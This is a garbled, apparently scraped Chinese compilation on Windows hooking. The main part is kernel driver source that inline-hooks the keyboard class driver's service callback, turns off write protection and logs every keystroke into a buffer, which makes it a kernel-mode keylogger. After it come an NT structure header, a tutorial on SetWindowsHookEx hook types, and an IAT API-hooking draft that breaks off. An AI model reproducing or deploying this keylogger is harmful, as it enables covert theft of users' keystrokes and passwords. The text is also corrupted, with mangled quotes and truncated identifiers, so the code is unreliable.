& & g_bHooked = FALSE;
// 开始 inline hook -- &OldFunction
VOID HookOldFunction ()
& & KIRQL &oldI&
& & if (g_OldFunction == 0) {
& & & & DbgPrint(&OldFunction == NULL\n&);
& & //DbgPrint(&开始 inline hook -- &OldFunction\n&);
& & DbgPrint( &OldFunction 的地址 t0x%08x\n&, (ULONG)g_OldFunction );
& & // 保存原函数的前字节内容
& & RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★&
& & *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction -
(ULONG)g_OldFunction - 5;//★&
& & // 禁止系统写保护，提升 IRQL 到 DPC
& & WPOFF();&
& & oldIrql = KeRaiseIrqlToDpcLevel();
& & RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
& & *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//
& & RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改
Proxy_OldFunction 函数头&
& & RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);&
& & // 恢复写保护，降低 IRQL
& & KeLowerIrql(oldIrql);&
& & WPON();&
& & g_bHooked = TRUE;
VOID &ChangeFake_Function()
&KIRQL &oldI
&ULONG addr=(ULONG)fake_OldF&
&ULONG code_fill=0xAAAAAAAA;
&DbgPrint(&fake_OldFunction:%x&,addr);
& & oldIrql = KeRaiseIrqlToDpcLevel();
& & for (i=0;i&0x200;i++)
& if (*((ULONG*)(addr+i))==code_fill)
& &DbgPrint(&AAAAAAAA Finded:%x&,KeyBuf);
& &*((ULONG*)(addr+i))=(ULONG)KeyB
&DbgPrint(&AAAAAAAA:%x&,*((ULONG*)(addr+i)) &);
& & KeLowerIrql(oldIrql);
& & WPON();&
VOID &ReadKeyBuf()
&BYTE Index=*(BYTE*)KeyB
&BYTE i,j;&
// BYTE _Buf[MAXBUF];
&for (i=0;i&MAXBUF;i++)
& DbgPrint(&Key Code:%x&,*(BYTE*)((BYTE*)KeyBuf+i));
// 跳转到我们的函数里面进行预处理
__declspec (naked)&
fake_OldFunction (
PDEVICE_OBJECT &DeviceObject,
PKEYBOARD_INPUT_DATA &InputDataStart,
PKEYBOARD_INPUT_DATA &InputDataEnd,
PULONG &InputDataConsumed
& &push & &eax
& & & & push & &ebx
& & & & push & &ecx
& push & &esi
& xor & & esi,esi
& mov & & eax, [0xAAAAAAAA];
& mov & & ebx, [esp+0x18]
& &//movzx & ecx, word ptr [ebx-20]//+2&
& mov & & cl , byte ptr [ebx+2];//按键码
& & & & mov & & ch , byte ptr [eax];//得到当前位置-&ch&
& & & & cmp & & ch , MAXBUF
& jnz & & NotLastPlace
& mov & & ch, &0x0;&
NotLastPlace:
& inc & & ch
& movzx & si,ch
& mov & & byte ptr [eax], & &ch&
& & & & mov & & byte ptr [eax+esi],cl&
& & & & pop esi&
& &pop ecx
& &pop ebx
& &pop eax&
& jmp Proxy_OldFunction & ;//★在这一系列 JMP 中，没有一处使用 CALL，简化了代码，
增强了稳定性&
// 代理函数，负责跳转到原函数中继续执行&
__declspec (naked)&
Proxy_OldFunction (
& & PDEVICE_OBJECT &DeviceObject,
& & PKEYBOARD_INPUT_DATA &InputDataStart,
& & PKEYBOARD_INPUT_DATA &InputDataEnd,
& & PULONG &InputDataConsumed
& & __asm { &// 共字节
& & & & & & _emit 0x90&
& & & & & & _emit 0x90
& & & & & & _emit 0x90
& & & & & & _emit 0x90&
& & & & & & _emit 0x90 &// 前字节实现原函数的头字节功能
& & & & & & _emit 0x90 &// 这个填充 jmp&
& & & & & & _emit 0x90
& & & & & & _emit 0x90
& & & & & & _emit 0x90&
& & & & & & _emit 0x90 &// 这字节保存原函数+5 处的地址
& & & & & & _emit 0x90 &&
& & & & & & _emit 0x90 &// 因为是长转移,所以必须是 0x0080
//////////////////////////////////////////////////////////////////////////&
GetModlueBaseAdress(
& & &char* ModlueName,
& & &BOOL bKernelBase
&ULONG size,
&PSYSTEM_MODULE_INFORMATION
&PVOID driverAddress=0;
&ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
&if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
& DbgPrint(&failed alloc memory failed \n&);
& return 0;
&status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
&if(!NT_SUCCESS( status )) {
& DbgPrint(&failed query\n&);
& return 0;
&module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
&// 系统模块基址
&if ( TRUE == bKernelBase )&
& driverAddress = module[0].B
& DbgPrint(&KernelBase:%x\n&,driverAddress);
& goto _x_;
&// 其他模块基址
&for (index = 0; index & * index++) {&
& if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset,
ModlueName) == 0)&
& &driverAddress = module[index].B
& &DbgPrint(&Module found at:%x\n&,driverAddress);
& &goto _x_;
&ExFreePool(buf);
&return driverA
ULONG GetFunctionAddr( IN PCWSTR FunctionName)
& & UNICODE_STRING UniCodeFunctionN
& & RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
& & return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName ); &&
//根据特征值，搜索 OldFunction
ULONG FindOldFunctionAddress()&
&NTSTATUS status = STATUS_SUCCESS;
&UNICODE_STRING ustrLinkN
&UNICODE_STRING ustrDevN & &
&PDEVICE_OBJECT pDevO
&ULONG i, curA
&PUCHAR FileC
&DWORD dwRet,dwS
& & LARGE_INTEGER
&ULONG g_kbdclass_
&ULONG g_lpKbdServiceC
&PDEVICE_OBJECT g_kbDeviceObject = NULL;
& & KEYBOARD_INPUT_DATA
&ULONG Addr_OldFunction = 0;
&ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec,
code3_sp2=0x,code4_sp2=0x8b530008;
& & //KbdInit();
&g_kbdclass_base = (ULONG)GetModlueBaseAdress( &kbdclass.sys&,0 );
&DbgPrint(&kbdclass.sys: 0x%08lx\n&, (PVOID)g_kbdclass_base);
&if ( 0 == g_kbdclass_base ) {
& DbgPrint(&ERROR: g_kbdclass_base == 0\n&);
& return STATUS_SUCCESS;
&curAddr = g_kbdclass_
&// DbgPrint(&curAddr: 0x%08lx\n&, curAddr);
&for (i=curAi&=curAddr+0x2000;i++)
& // DbgPrint(&i: 0x%08lx\n&, i);
& if (*((ULONG *)i)==code1_sp2) {
& &if (*((ULONG *)(i+4))==code2_sp2) {&
& & if (*((ULONG *)(i+8))==code3_sp2) {
& & &if (*((ULONG *)(i+12))==code4_sp2) {
& & & g_lpKbdServiceCallback=i;
&Addr_OldFunction = (ULONG)g_lpKbdServiceC
&DbgPrint(&KeyboardClassServiceCallback: 0x%08lx\n&,
(PVOID)g_lpKbdServiceCallback);
&//DbgPrint(&g_kbDeviceObject: 0x%08lx\n&, (PVOID)g_kbDeviceObject);&
&return Addr_OldF
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
& UNICODE_STRING strL
& RtlInitUnicodeString(&strLink, L&\\DosDevices\\devHookKey&);
& DbgPrint(&My Driver Unloaded!&);
& DbgPrint(&MyKeyboardClassServiceCallback invoked: %x&,KeyCode);&
& ReadKeyBuf();
& ExFreePool(KeyBuf);
& IoDeleteSymbolicLink(&strLink);
& IoDeleteDevice(DriverObject-&DeviceObject);&
& UnHookOldFunction();
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING theRegistryPath )
& NTSTATUS status = STATUS_SUCCESS;
& UNICODE_STRING ustrLinkN
& UNICODE_STRING ustrDevN & &
& DWORD dwSize,dwR
& PVOID pT
& KEYBOARD_INPUT_DATA
& DbgPrint(&My Driver Loaded!&);
& theDriverObject-&DriverUnload = OnU&
& RtlInitUnicodeString(&ustrDevName, L&\\Device\\devHookKey&);
& status = IoCreateDevice(theDriverObject,&
& &&ustrDevName,&
& &FILE_DEVICE_UNKNOWN,
& &&pDevObj);
& if(!NT_SUCCESS(status)) {
& &DbgPrint(&IoCreateDevice = 0x%x\n&, status);
& RtlInitUnicodeString(&ustrLinkName, L&\\DosDevices\\devHookKey&);
& status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); &
& if(!NT_SUCCESS(status)) {
& &DbgPrint(&IoCreateSymbolicLink = 0x%x\n&, status);
& &IoDeleteDevice(pDevObj); &
& KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
& *((BYTE*)KeyBuf)=0x0;&
& ChangeFake_Function();
& g_OldFunction = FindOldFunctionAddress();
& HookOldFunction();&
& return STATUS_SUCCESS;
/****************************************************************
***********************
* AUTHOR : sudami []
* TIME & :
[13:8:2008 - 13:07]
* MODULE : struct.h
* Command: &
* & 驱动的头文件
* Description:&
* & 定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体 & & & & & & & & & & &
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*****************************************************************
***********************/
#pragma once&
#include &ntddk.h&&
typedef long LONG;
//typedef unsigned char &BOOL, *PBOOL;
typedef unsigned char &BYTE, *PBYTE;
typedef unsigned long &DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD;&
//typedef void &*HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;&
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE & &0x&
//----------------------------------------------------&
typedef enum _SYSTEM_INFORMATION_CLASS {
&SystemBasicInformation = 0,
&SystemCpuInformation = 1,
&SystemPerformanceInformation = 2,
&SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
&Unknown4,
&SystemProcessInformation = 5,
&Unknown6,
&Unknown7,
&SystemProcessorPerformanceInformation = 8,
&Unknown9,&
&Unknown10,
&SystemModuleInformation = 11,
&Unknown12,
&Unknown13,
&Unknown14,
&Unknown15,
&SystemHandleInformation = 16,
&Unknown17,
&SystemPageFileInformation = 18,
&Unknown19,
&Unknown20,
&SystemCacheInformation = 21,
&Unknown22,
&SystemInterruptInformation = 23,
&SystemDpcBehaviourInformation = 24,
&SystemFullMemoryInformation = 25,
&SystemNotImplemented6 = 25,
&SystemLoadImage = 26,
&SystemUnloadImage = 27,
&SystemTimeAdjustmentInformation = 28,
&SystemTimeAdjustment = 28,
&SystemSummaryMemoryInformation = 29,
&SystemNotImplemented7 = 29,
&SystemNextEventIdInformation = 30,
&SystemNotImplemented8 = 30,
&SystemEventIdsInformation = 31,
&SystemCrashDumpInformation = 32,
&SystemExceptionInformation = 33,
&SystemCrashDumpStateInformation = 34,
&SystemKernelDebuggerInformation = 35,
&SystemContextSwitchInformation = 36,
&SystemRegistryQuotaInformation = 37,
&SystemCurrentTimeZoneInformation = 44,
&SystemTimeZoneInformation = 44,
&SystemLookasideInformation = 45,
&SystemSetTimeSlipEvent = 46,
&SystemCreateSession = 47,
&SystemDeleteSession = 48,
&SystemInvalidInfoClass4 = 49,
&SystemRangeStartInformation = 50,
&SystemVerifierInformation = 51,
&SystemAddVerifier = 52,
&SystemSessionProcessesInformation = 53,&
&SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;&
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
&ULONG & &Reserved[2];
&PVOID & &B
&ULONG & &S
&ULONG & &F
&USHORT & &I
&USHORT & &U
&USHORT & &LoadC
&USHORT & &ModuleNameO
&CHAR & &ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;&
typedef struct {
&DWORD & &dwNumberOfM
&SYSTEM_MODULE_INFORMATION & &
} MODULES, *PMODULES;&
#pragma pack(4)
typedef struct _PEB_LDR_DATA
&BOOLEAN I
&PVOID SsH
&LIST_ENTRY InLoadOrderModuleL
&LIST_ENTRY InMemoryOrderModuleL
&LIST_ENTRY InInitializationOrderModuleL
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack()&
typedef struct _PEB_ORIG {
& & BYTE Reserved1[2];
& & BYTE BeingD
& & BYTE Reserved2[229];
& & PVOID Reserved3[59];
& & ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG;&
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);&
struct _PEB_FREE_BLOCK {
&struct _PEB_FREE_BLOCK *N&
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;&
typedef struct _RTL_DRIVE_LETTER_CURDIR {
&ULONG TimeS
&UNICODE_STRING DosP
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;&
typedef struct _RTL_USER_PROCESS_PARAMETERS {
&ULONG MaximumL
&ULONG DebugF
&PVOID ConsoleH
&ULONG ConsoleF
&HANDLE StdInputH
&HANDLE StdOutputH
&HANDLE StdErrorH
&UNICODE_STRING CurrentDirectoryP
&HANDLE CurrentDirectoryH
&UNICODE_STRING DllP
&UNICODE_STRING ImagePathN
&UNICODE_STRING CommandL
&ULONG StartingPositionL
&ULONG StartingPositionT
&ULONG CharW
&ULONG CharH
&ULONG ConsoleTextA
&ULONG WindowF
&ULONG ShowWindowF
&UNICODE_STRING WindowT
&UNICODE_STRING DesktopN
&UNICODE_STRING ShellI
&UNICODE_STRING RuntimeD
&RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;&
typedef struct _PEB {
&BOOLEAN InheritedAddressS&
&BOOLEAN ReadImageFileExecO
&BOOLEAN BeingD
&BOOLEAN S
&PVOID ImageBaseA
&PPEB_LDR_DATA LoaderD
&PRTL_USER_PROCESS_PARAMETERS ProcessP
&PVOID SubSystemD
&PVOID ProcessH
&PVOID FastPebL
&PPEBLOCKROUTINE FastPebLockR
&PPEBLOCKROUTINE FastPebUnlockR
&ULONG EnvironmentUpdateC
&PVOID *KernelCallbackT
&PVOID EventLogS
&PVOID EventL
&PPEB_FREE_BLOCK FreeL
&ULONG TlsExpansionC
&PVOID TlsB
&ULONG TlsBitmapBits[0x2];
&PVOID ReadOnlySharedMemoryB
&PVOID ReadOnlySharedMemoryH
&PVOID *ReadOnlyStaticServerD
&PVOID AnsiCodePageD
&PVOID OemCodePageD
&PVOID UnicodeCaseTableD
&ULONG NumberOfP
&ULONG NtGlobalF
&BYTE Spare2[0x4];
&LARGE_INTEGER CriticalSectionT
&ULONG HeapSegmentR
&ULONG HeapSegmentC
&ULONG HeapDeCommitTotalFreeT
&ULONG HeapDeCommitFreeBlockT
&ULONG NumberOfH
&ULONG MaximumNumberOfH
&PVOID **ProcessH
&PVOID GdiSharedHandleT
&PVOID ProcessStarterH
&PVOID GdiDCAttributeL
&PVOID LoaderL
&ULONG OSMajorV
&ULONG OSMinorV
&ULONG OSBuildN&
&ULONG OSPlatformId;
&ULONG ImageSubS
&ULONG ImageSubSystemMajorV
&ULONG ImageSubSystemMinorV
&ULONG GdiHandleBuffer[0x22];
&ULONG PostProcessInitR
&ULONG TlsExpansionB
&BYTE TlsExpansionBitmapBits[0x80];
&ULONG SessionId;
} PEB, *PPEB;&
typedef struct _SYSTEM_PROCESS_INFORMATION {
& & ULONG NextEntryO
& & ULONG NumberOfT
& & LARGE_INTEGER SpareLi1;
& & LARGE_INTEGER SpareLi2;
& & LARGE_INTEGER SpareLi3;
& & LARGE_INTEGER CreateT
& & LARGE_INTEGER UserT
& & LARGE_INTEGER KernelT
& & UNICODE_STRING ImageN
& & KPRIORITY BaseP
& & HANDLE UniqueProcessId;
& & HANDLE InheritedFromUniqueProcessId;
& & ULONG HandleC
& & ULONG SpareUl2;
& & ULONG SpareUl3;
& & ULONG PeakVirtualS
& & ULONG VirtualS
& & ULONG PageFaultC
& & ULONG PeakWorkingSetS
& & ULONG WorkingSetS
& & ULONG QuotaPeakPagedPoolU
& & ULONG QuotaPagedPoolU
& & ULONG QuotaPeakNonPagedPoolU
& & ULONG QuotaNonPagedPoolU
& & ULONG PagefileU
& & ULONG PeakPagefileU
& & ULONG PrivatePageC
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;&
typedef struct _SYSTEM_THREAD_INFORMATION {
& & LARGE_INTEGER KernelT
& & LARGE_INTEGER UserT&
& & LARGE_INTEGER CreateT
& & ULONG WaitT
& & PVOID StartA
& & CLIENT_ID ClientId;
& & KPRIORITY P
& & LONG BaseP
& & ULONG ContextS
& & ULONG ThreadS
& & ULONG WaitR
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;&
struct _SYSTEM_THREADS
&LARGE_INTEGER &KernelT
&LARGE_INTEGER &UserT
&LARGE_INTEGER &CreateT
&ULONG & &WaitT
&PVOID & &StartA
&CLIENT_ID & ClientIs;
&KPRIORITY & P
&KPRIORITY & BaseP
&ULONG & &ContextSwitchC
&ULONG & &ThreadS
&KWAIT_REASON &WaitR
struct _SYSTEM_PROCESSES
&ULONG & &NextEntryD
&ULONG & &ThreadC
&ULONG & &Reserved[6];
&LARGE_INTEGER &CreateT
&LARGE_INTEGER &UserT
&LARGE_INTEGER &KernelT
&UNICODE_STRING &ProcessN
&KPRIORITY & BaseP
&ULONG & &ProcessId;
&ULONG & &InheritedFromProcessId;
&ULONG & &HandleC
&ULONG & &Reserved2[2];
&VM_COUNTERS & VmC
&IO_COUNTERS & IoC //windows 2000 only&
&struct _SYSTEM_THREADS Threads[1];
typedef struct _HANDLE_TABLE_ENTRY_INFO
& & ULONG AuditM
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;&
typedef struct _HANDLE_TABLE_ENTRY
& & & & PVOID O
& & & & ULONG_PTR ObA
& & & & PHANDLE_TABLE_ENTRY_INFO InfoT
& & & & ULONG_PTR V
& & & & ULONG GrantedA
& & & & struct
& & & & & & USHORT GrantedAccessI
& & & & & & USHORT CreatorBackTraceI
& & & & };
& & & & LONG NextFreeTableE
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;&
typedef struct _HANDLE_TABLE
& & ULONG TableC
& & PEPROCESS QuotaP
& & PVOID UniqueProcessId;
& & ULONG HandleTableLock[4];
& & LIST_ENTRY HandleTableL
& & ULONG HandleContentionE
& & PVOID DebugI
& & LONG ExtraInfoP
& & ULONG FirstF
& & ULONG LastF
& & ULONG NextHandleNeedingP
& & LONG HandleC
& & union&
& & & & ULONG F
& & & & UCHAR StrictFIFO:1;
} HANDLE_TABLE, *PHANDLE_TABLE;&
typedef struct _OBJECT_TYPE_INITIALIZER {
&BOOLEAN UseDefaultO
&BOOLEAN CaseI
&ULONG InvalidA
&GENERIC_MAPPING GenericM
&ULONG ValidAccessM
&BOOLEAN SecurityR
&BOOLEAN MaintainHandleC
&BOOLEAN MaintainTypeL
&POOL_TYPE PoolT
&ULONG DefaultPagedPoolC
&ULONG DefaultNonPagedPoolC
&PVOID DumpP
&PVOID OpenP
&PVOID CloseP
&PVOID DeleteP
&PVOID ParseP
&PVOID SecurityP
&PVOID QueryNameP
&PVOID OkayToCloseP
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;&
typedef struct _OBJECT_TYPE {
&ERESOURCE M
&LIST_ENTRY TypeL
&UNICODE_STRING N & & & & & &// Copy from object header for convenience
&PVOID DefaultO
&ULONG TotalNumberOfO
&ULONG TotalNumberOfH
&ULONG HighWaterNumberOfO
&ULONG HighWaterNumberOfH
&OBJECT_TYPE_INITIALIZER TypeI
&ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE;&
typedef struct _OBJECT_DIRECTORY {
& & struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
& & ULONG L
& & PVOID DeviceM
& & ULONG SessionId;
&USHORT SymbolicLinkUsageC
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;&
typedef enum _KAPC_ENVIRONMENT {
& OriginalApcEnvironment,
& AttachedApcEnvironment,
& CurrentApcEnvironment,
& InsertApcEnvironment
} KAPC_ENVIRONMENT;
typedef enum
& & OriginalApcEnvironment,
&AttachedApcEnvironment,
&CurrentApcEnvironment
} KAPC_ENVIRONMENT;&
//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... );&
//----------------------------------------------------&
NTAPI ZwQuerySystemInformation(
& & & & & IN ULONG SystemInformationClass,
& & & & & IN PVOID SystemInformation,
& & & & & IN ULONG SystemInformationLength,
& & & & & OUT PULONG ReturnLength);&
& NtOpenFile(
& & OUT PHANDLE &FileHandle,
& & IN ACCESS_MASK &DesiredAccess,
& & IN POBJECT_ATTRIBUTES &ObjectAttributes,
& & OUT PIO_STATUS_BLOCK &IoStatusBlock,
& & IN ULONG &ShareAccess,&
& & IN ULONG &OpenOptions
ZwOpenProcess(
& &OUT PHANDLE ProcessHandle,&
& &IN ACCESS_MASK DesiredAccess,&
& &IN POBJECT_ATTRIBUTES ObjectAttributes,&
& &IN PCLIENT_ID ClientId
PsLookupProcessByProcessId(
& & IN HANDLE ProcessId,
& & OUT PEPROCESS *Process
& PsGetProcessId(
& & IN PEPROCESS &Process
RtlFormatCurrentUserKeyPath(
& & OUT PUNICODE_STRING CurrentUserKeyPath
VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess();&
ObReferenceObjectByName(&
& & & IN PUNICODE_STRING ObjectName,&
& & & IN ULONG Attributes,&
& & & IN PACCESS_STATE PassedAccessState OPTIONAL,&
& & & IN ACCESS_MASK DesiredAccess OPTIONAL,&
& & & IN POBJECT_TYPE ObjectType,&
& & & IN KPROCESSOR_MODE AccessMode,&
& & & IN OUT PVOID ParseContext OPTIONAL,&
& & & OUT PVOID *Object&
//////////////////////////////////////////////////////////////////////////&
// 写保护的开&关&
void WPOFF();
void WPON();&
windows vc 编程---hook[钩子]&
fazi 发表于
hook 是 WINDOWS 提供的一种消息处理机制，它使得程序员可以使用子过程来监视系统消息，
并在消息到达目标过程前得到处理。
下面将介绍 WINNDOWS HOOKS 并且说明如何在 WINDOWS 程序中使用它。&
关于 HOOKS
使用 HOOK 将会降低系统效率，因为它增加了系统处量消息的工作量。建议在必要时才使用 H
OOK，并在消息处理完成后立即移去该 HOOK。
WINDOWS 提供了几种不同类型的 HOOKS；不同的 HOOK 可以处理不同的消息。例如，WH
_MOUSE HOOK 用来监视鼠标消息。
WINDOWS 为这几种 HOOKS 维护着各自的 HOOK 链。HOOK 链是一个由应用程序定义的回
调函数队列，当某种类型的消息发生时，WINDOWS 向此种类型的 HOOK 链的第一个函数发
送该消息，在第一函数处理完该消息后由该函数向链表中的下一个函数传递消息，依次向下。如
果链中某个函数没有向下传送该消息，那么链表中后面的函数将得不到此消息。（对于某些类型
的 HOOK，不管 HOOK 链中的函数是否向下传递消息，与此类型 HOOK 联系的所有 HOOK 函
数都会收到系统发送的消息）
为了拦截特定的消息，你可以使用 SetWindowsHookEx 函数在该类型的 HOOK 链中安装你自
己的 HOOK 函数。该函数语法如下：
public function MyHook(nCode,wParam,iParam) as long
,,加入代码
end function
其中 MyHook 可以随便命名，其它不能变。该函数必须放在模块段。nCode 指定 HOOK 类型。
wParam,iParam 的取值随 nCode 不同而不同，它代表了某种类型的 HOOK 的某个特定的动
SetWindowsHookEx 总是将你的 HOOK 函数放置在 HOOK 链的顶端。你可以使用 CallNext
HookEx 函数将系统消息传递给 HOOK 链中的下一个函数。
[注释]对于某些类型的 HOOK，系统将向该类的所有 HOOK 函数发送消息，这时，HOOK 函数
中的 CallNextHookEx 语句将被忽略。&
全局 HOOK 函数可以拦截系统中所有线程的某个特定的消息（此时该 HOOK 函数必须放置在 D
LL 中），局部 HOOK 函数可以拦截指定线程的某特定消息（此时该 HOOK 函数可以放置在 D
LL 中，也可以放置在应用程序的模块段）。
[注释] 建议只在调试时使用全局 HOOK 函数。全局 HOOK 函数将降低系统效率，并且会同其
它使用该类 HOOK 的应用程序产生冲突。&
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 可以监视 SendMessage 发送
的消息。系统在向窗体过程发送消息前，将调用 WH_CALLWNDPROC；在窗体过程处理完该
消息后系统将调用 WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 会向 HOOK 过程传送一个 CWPRETSTRUCT 结构的地址。
该结构包含了窗体过程处理系统消息后的一些信息。&
WH_CBT Hook
系统在激活，创建，消毁，最小化，最大化，移动，改变窗体前；在完成一条系统命令前；在从
系统消息队列中移去鼠标或键盘事件前；在设置输入焦点前，或同步系统消息队列前，将调用
WH_CBT HOOK。你可以在你的 HOOK 过程拦截该类 HOOK，并返回一个值，告诉系统，是
否继续执行上面的操作。
WH_DEBUG HOOK&
系统在调用与某种 HOOK 类型联系的 HOOK 过程前，将调用 WH_DEBUG ，应用程序可以使
用该 HOOK 决定是否让系统执行某种类型的 HOOK。
WH_FOREGROUNDIDLE Hook
系统在空闲时调用该 HOOK，在后台执行优先权较低的应用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook 使应用程序可以拦截 GetMessage 或 PeekMessage 的消息。应
用程序使用 WH_GETMESSAGE HOOK 监视鼠标、键盘输入和发送到队列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使应用程序可以监视输入事件。典型地，应用程序使用该 HO
OK 记录鼠标、键盘输入事件以供以后回放。该 HOOK 是全局 HOOK，并且不能在指定线程中
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使应用程序可以向系统消息队列中插入消息。该 HOOK
可以回放以前由 WH_JOURNALRECORD HOOK 录制的鼠标、键盘输入事件。在 WH_JOUR
NALPLAYBACK Hook 安装到系统时，鼠标、键盘输入事件将被屏蔽。该 HOOK 同样是一个
全局 HOOK，不能在指定线程中使用。
WH_JOURNALPLAYBACK Hook 返回一个时间暂停值，它告诉系统，在处理当前回放的消息
时，系统等待百分之几秒。这使得此 HOOK 可以控制在回放时的时间事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的 WM_
KEYDOWN 及 WM_KEYUP 消息。应用程序使用该 HOOK 监视发送到消息队列中的键盘输入。
WH_MOUSE Hook&
WH_MOUSE Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的消息。应
用程序使用该 HOOK 监视发送到消息队列中的鼠标输入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使应用程序可以监视菜单、滚动条、消息
框、对话框，当用户使用 ALT+TAB 或 ALT+ESC 来切换窗体时，该 HOOK 也可以拦截到消息。
WH_MSGFILTER 仅在应用程序内部监视菜单、滚动条、消息框、对话框，而 WH_SYSMSGF
ILTER 则可以在系统内监视所有应用程序的这些事件。
WH_SHELL Hook
一个 SHELL 程序可以使用 WH_SHELL Hook 来接收重要的信息。当一个 SHELL 程序被激活
前或当前窗体被创建、消毁时，系统会调用 WH_SHELL Hook 过程。&
跨进程 API Hook（初稿）&
跨进程 API Hook（初稿）
什么是“跨进程 API Hook”？
众所周知 Windows 应用程序的各种系统功能是通过调用 API 函数来实现。API Hook 就是给系统的 API
附加上一段小程序，它能监视甚至控制应用程序对 API 函数的调用。所谓跨进程也就是让自己的程序来控
制别人程序的 API 调用了。
API Hook 理论
通 过对 Win32 PE 文件的分析(如果你还不熟悉 PE 文件格式，可以看看 Iczelion 的 PE 教程或者
LUEVELSMEYER 的&&)。 我们知道在 PE 文件中的 IMPORT TABLE 内存储着 API 函数的很多信息。其
中包括 API 的函数名，调用地址等等。而操作系统在执行 PE 文件时会先 将其映射到内存中。在映射的同
时还会把当前版本操作系统中 API 函数的入口地址写入 IMPORT TABLE 中一组与 API 调用相关的结构体
内，用于该应 用程序的 API 调用。 当应用程序调用 API 时，他会在自己内存映像里寻找 API 的入口地址，
然后执行 CALL 指令。如此一来，我们通过修改应用程序内存 映像的 IMPORT TABLE 中 API 函数的入口
地址，就可以达到重定向 API 的目的。将 API 地址改为我们自己函数的地址，这样我们的函数就可以完成
对 API 的监视和控制了。
API Hook 的实现
/* 1 */HANDLE hCurrent = GetModuleHandle(NULL);
/* 2 */IMAGE_DOS_HEADER *
/* 3 */IMAGE_NT_HEADERS *
/* 4 */IMAGE_DATA_DIRECTORY *pSymbolT
/* 5 */IMAGE_IMPORT_DESCRIPTOR *
/* 6 */pidh = (IMAGE_DOS_HEADER *)hC&
/* 7 */pinh = (IMAGE_NT_HEADERS *)((DWORD)hCurrent + pidh-&e_lfanew);
/* 8 */pSymbolTable = &pinh-&OptionalHeader.DataDirectory[1];
/* 9 */piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)hCurrent + &pSymbolTable-&VirtualAddres
/*10 */do {
/*11 */ & &IMAGE_THUNK_DATA *pitd,*pitd2;
/*12 */ & &pitd = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid-&OriginalFirstThunk);
/*13 */ & &pitd2 = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid-&FirstThunk);
/*14 */ & &do {
/*15 */ IMAGE_IMPORT_BY_NAME *
/*16 */ piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)hCurrent + &*((DWORD *)pitd));
/*17 */ PROC *ppfn = (PROC *)(pitd2-&u1.Function);
